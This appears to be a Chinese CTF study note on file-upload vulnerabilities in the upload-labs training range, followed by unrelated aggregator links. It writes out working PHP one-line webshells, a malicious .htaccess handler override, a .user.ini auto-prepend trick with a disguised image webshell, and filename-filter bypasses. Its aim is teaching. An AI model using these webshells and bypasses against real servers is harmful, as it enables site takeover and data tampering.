CTF-Web(3)文件上传漏洞

笔记目录

CTF-Web(2)SQL注入
CTF-Web(3)文件上传漏洞

1.WebShell介绍


(1)一句话木马定义

     一种网页后门,以asp、php、jsp等网页文件形式存在的一种命令执行环境,而 一句话木马往往只有一行WebShell代码
     作用:
  • 攻击获得网站控制权限
  • 查看、修改、删除网站数据
  • 通过提权漏洞可获得主机权限

(2)一句话木马工作原理

  • eval函数:把字符串按照PHP代码执行,该字符串必须是合法的PHP代码,且必须以分号结尾。
  • $_POST:PHP超全局变量$_GET和$_POST用于收集表单数据。

(3)一句话木马(多整理防止被过滤运行不成功)

①基础版
<?php @eval($_GET['cmd']); ?>
②替代版
<?php @eval($_REQUEST['cmd']);?>
③防过滤版
<script language="php">@eval($_POST['cmd']);</script>
【精选】PHP一句话木马集合_思源湖的鱼的博客-CSDN博客

2.文件上传漏洞介绍


(1)原理

    由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致攻击者能够向某个可通过 Web 访问的目录上传恶意文件,并被脚本解析器执行,这样就可以在远程服务器上执行恶意脚本

(2)文件上传流程

    ①A 客户端javascript 检测 ( 客户端,通常检测扩展名)
    ②B 服务端MIME 类型检测 (请求Content-Type 内容)
    ③C 服务端目录路径检测 (检测跟path 参数相关的内容)
    ④D 服务端文件扩展名检测(检测跟文件extension 相关的内容)
    ⑤E 服务端文件内容检测(检测内容是否合法,如检测十六进制内容)

(3)漏洞分类

注:如果随便上传奇怪文件后缀,不允许上传为文件白名单(只允许几种后缀通过),否则为黑名单 (只允许几种后缀不通过)

(4)漏洞类型判断流程

3.漏洞分类(upload-labs靶场)


(1)JS前端验证突破(pass-01)

①原理
    如客户端上传文件时,可能现在本地JS验证文件类型是否正确再上传
②攻击方式
  • 抓包修改文件名

(2)MIME验证实例(pass-02)

①原理
    服务端对上传文件的Content-Type类型进行检测,判断 是否在 白名单规定内
②攻击方式
  • 抓包修改Content-type类型
注意:文件后缀名变更可能需要修改Content-Type类型,否则

(3)黑名单--特殊后缀名(pass-03)

①原理
    服务端对上传文件名后缀进行检测,判断 是否为禁止文件类型
②攻击方式
  • 文件后缀名字典攻击
    • ASP语言类:.asa .cer .cdx
    • PHP语言类: .php3 .php4 .php5 .phtml
    • .net语言类:.ashx
    • jsp语言类:jspx jspf

(4)黑名单--.htaccess(pass-04)

①原理
    htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法
②攻击方式
  • 上传htaccess文件
<FilesMatch "jpg">                              ###如所有jpg文件解析为php文件
setHandler application/x-httpd-php       
</FilesMatch>

(5)黑名单-- .user.ini(pass-05)

①原理
    php5.3版支持.ini代替.htaccess 此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
    除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
②攻击方式
  • 首先构造.user.ini文件,因为.htaccess在黑名单
  auto_prepend_file=a.jpg
  • 然后构造jpg(GIF89a 后期有题目过滤内容) ,此时执行其他php代码都会执行a.jpg内容
GIF89a
<script language='php'>echo 'a.jpg success'; @eval($_POST['pass']);</script>
【当.user.ini不在白名单中,无法上传】
  • 首先构造.user.ini文件
GIF89a
auto_prepend_file=a.jpg
  • 将 Content-Type: application/octet-stream 修改为 Content-Type: image/jpg
    
  • 最后上传图片代码
(6)文件名绕过
  .[空格].
  • .后缀名+ .[空格]. ,最后只剩下.php(仅适用于windows系统)
    
②大小写绕过 (pass-06 ,限Linux
③黑名单-加空格 (pass-07 ,限windows
  • 代码没有对空格过滤,可利用windows系统特性,最终上传的文件被去掉了空格
④黑名单-加点 (pass-08
    由于没有代码: $file_name = deldot($file_name);//删除文件名末尾的点,因此可加点
⑤黑名单-双写绕过 (pass-11
    此处将黑名单文件替换为空字符串, php → pphphp
⑥黑名单-数据流 (pass-09
    没有代码, $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
  • 文件名后加  ::$DATA 标识, 访问时去掉标识即可
(7)白名单-%00截断null(GET) (pass-12,待实现
原理:URL遇到%00自动丢弃  %00+后面字符,因为%00 url解码为null
    此处白名单检测,只允许上传'jpg','png','gif'格式的文件。 但是上传路径是可以控制的,可以使用%00 截断更改地址栏中的上传路径,将后面处理过的文件名进行截断。只能用于php版本低于5.3的。
(8)文件头请求
    思路:首先上传一张简单的图片,然后抓包修改文件名后缀php,并在文件内注入木马(修改文件名+添加代码)。 如果能上传则成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/108630.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何防范AI等技术带来的诈骗风险?从技术、法律、教育等多方面入手

文章目录 前言什么是AI诈骗案例案例一案例二 AI诈骗的特点如何预防和应对AI诈骗建议后记 前言 互联网是一把双刃剑&#xff0c;这是我们常说的一个问题。 随着人工智能技术的快速发展&#xff0c;AI诈骗成为当今社会面临的新兴威胁。不法分子利用人工智能技术&#xff0c;以更…

Qt之实现支持多选的QCombobox

一.效果 1.点击下拉列表的复选框区域 2.点击下拉列表的非复选框区域 二.实现 QHCustomComboBox.h #ifndef QHCUSTOMCOMBOBOX_H #define QHCUSTOMCOMBOBOX_H#include <QLineEdit> #include <QListWidget> #include <QCheckBox> #include <QComboBox>…

面试算法43:在完全二叉树中添加节点

题目 在完全二叉树中&#xff0c;除最后一层之外其他层的节点都是满的&#xff08;第n层有2n-1个节点&#xff09;。最后一层的节点可能不满&#xff0c;该层所有的节点尽可能向左边靠拢。例如&#xff0c;图7.3中的4棵二叉树均为完全二叉树。实现数据结构CBTInserter有如下3种…

Vue 3 响应式对象:ref 和 reactive 的使用和区别

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是尘缘&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f449;点击这里&#xff0c;就可以查看我的主页啦&#xff01;&#x1f447;&#x…

Flink CDC 2.0 主要是借鉴 DBLog 算法

DBLog 算法原理 DBLog 这个算法的原理分成两个部分&#xff0c;第一部分是分 chunk&#xff0c;第二部分是读 chunk。分 chunk 就是把一张表分为多个 chunk&#xff08;桶/片&#xff09;。我可以把这些 chunk 分发给不同的并发的 task 去做。例如&#xff1a;有 reader1 和 re…

二叉树的最近公共祖先

题目&#xff1a; 样例&#xff1a; 输入 6 1 4 2 5 -1 -1 1 4 -1 -1 -1 -1 -1 3 输出 2 思路&#xff1a; 由题意&#xff0c;最近公共祖先就是&#xff0c;找出给出的两个结点的父结点 是谁。 这里有两种情况 1、给定的两个结点都是孩子结点 2、给定的两个结点&#xff…

【送书福利-第二十二期】《Vue.js 3企业级项目开发实战(微课视频版)》

&#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主、前后端开发、人工智能研究生。公粽号&#xff1a;程序员洲洲。 &#x1f388; 本文专栏&#xff1a;本文…

Table-GPT:让大语言模型理解表格数据

llm对文本指令非常有用&#xff0c;但是如果我们尝试向模型提供某种文本格式的表格数据和该表格上的问题&#xff0c;LLM更有可能产生不准确的响应。 在这篇文章中&#xff0c;我们将介绍微软发表的一篇研究论文&#xff0c;“Table-GPT: Table- tuning GPT for Diverse Table…

用示例和应用程序了解必要的Golang库

Golang&#xff0c;也被称为Go&#xff0c;因其简单性、性能和并发性支持而在开发人员中迅速流行起来。导致Go成功的关键因素之一是其丰富的库生态系统&#xff0c;可以简化开发并提供解决常见问题的解决方案。在本文中&#xff0c;我们将更仔细地查看一些必要的Golang库&#…

心血管疾病药物不良反应不容忽视,华大基因基因检测辅助降低风险!

随着医疗技术的不断进步&#xff0c;个体化用药已经成为药物治疗的新趋势。在此趋势下&#xff0c;华大基因基因检测基于药物基因组学的药物选择和个性化用药方案&#xff0c;为心血管疾病患者的临床治疗提供了新机会&#xff0c;同时可以更好地帮助患者控制心血管疾病&#xf…

数据结构之栈的讲解(源代码+图解+习题)

我们在学习过顺序表和链表之后&#xff0c;了解了使用数组存储数据&#xff0c;使用结构体来存储数据和有关的指针&#xff0c;这些都是底层的东西&#xff0c;链表是靠指针的链接&#xff0c;顺序表是靠数组的下标才能得以实现增删查改。众多数据结构其实底层都离不开数组&…

HTML简单实现v-if与v-for与v-model

Vue启动&#xff01;&#xff01; 首先VIewModel将View和Model连接一起&#xff0c;Model的数据改变View的数据也变 使用Visual Studio Code 启动Vue需要vue.js插件和导入CDN(包) vue.js插件&#xff1a;CTRL shift x 在搜索栏搜 索vue.js安装即可 CDN&#xff1a; http…

使用Terraform管理已经存在的kubernates和默认的节点池

背景&#xff1a; 通过terraform resource "alicloud_cs_managed_kubernetes" "k8s" {...}创建集群时&#xff0c;会产生一个默认的节点池default-nodepool&#xff0c;但是如何去修改这个默认节点池的信息呢&#xff1f; 解决思路&#xff1a; 因为Ter…

2021美亚个人赛复现1

Individual_Container.zip.001下载以后显示是一个压缩包格式&#xff08;解压密码&#xff1a;MeiyaCup2021&#xff09; 解压得到Individual_Container加密容器&#xff0c;赛题存储在这里面 挂载密码HfsCk]<eUqc5Q{(DG$ugiGlt8ezGdaZ>!pQC-H\5BAc^gBo/^qq)/i21ufiNH&…

TELUS Ventures(泰勒斯)

TELUS Ventures&#xff08;泰勒斯&#xff09;高峰论坛于2023年10月28日在南京第5站正式开幕。该论坛是由泰勒斯风险投资公司主办的一项重要活动&#xff0c;旨在促进创新和创业精神的发展 。 这次高峰论坛将汇集来自全球各地的创业者、投资者和行业专家&#xff0c;共同探讨…

GO语言代码示例

首先&#xff0c;我们需要安装 rod 库&#xff0c;这是一个用于构建网络爬虫的 Go 语言库。 使用 go get 命令安装 rod 库&#xff1a;go get -u github.com/gofiber/rod 创建一个新的 Go 程序文件&#xff0c;例如&#xff1a;main.go 在 main.go 文件中&#xff0c;导入 r…

Go学习第十四章——Gin请求与响应

Go web框架——Gin请求与响应 1 响应1.1 String1.2 JSON&#xff08;*&#xff09;1.3 HTML&#xff08;*&#xff09;1.4 XML1.5 文件&#xff08;*&#xff09; 2 请求2.1 请求参数查询参数 (Query)动态参数 (Param)表单参数 (PostForm)原始参数 (GetRawData) 2.2 请求头2.3 …

在el-dialog中使用tinymce 点击工具栏下拉框被遮挡

在el-dialog中使用tinymce控件时&#xff0c;会出现点击工具栏下拉框出现在弹窗下一层&#xff0c;审查元素之后发现是tinymce的下拉框z-index优先级低于el-dialog的z-index导致的&#xff0c;所以需要增加tinymce的下拉框的z-index值。 通过审查元素得到&#xff0c;需要修改t…

【C语言】free()函数详解(动态内存释放函数)

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:C语言 ⚙️操作环境:Visual Studio 2022 目录 一.free()函数简介 1.函数功能 2.函数参数 void * ptr 3.函数返回值 4.函数头文件 二.free()函数的具体使用 1.使用free()函数完成malloc()开辟空间的释放 2.使用fr…

Spring Cloud Alibaba Seata 实现 SAGA 事物

Seata 是一款开源的分布式事务解决方案&#xff0c;致力于提供高性能和简单易用的分布式事务服务。Seata 将为用户提供了 AT、TCC、SAGA 和 XA 事务模式&#xff0c;为用户打造一站式的分布式解决方案 Seata 官网&#xff1a;https://seata.io/zh-cn/ Spring Cloud Alibaba 官…
最新文章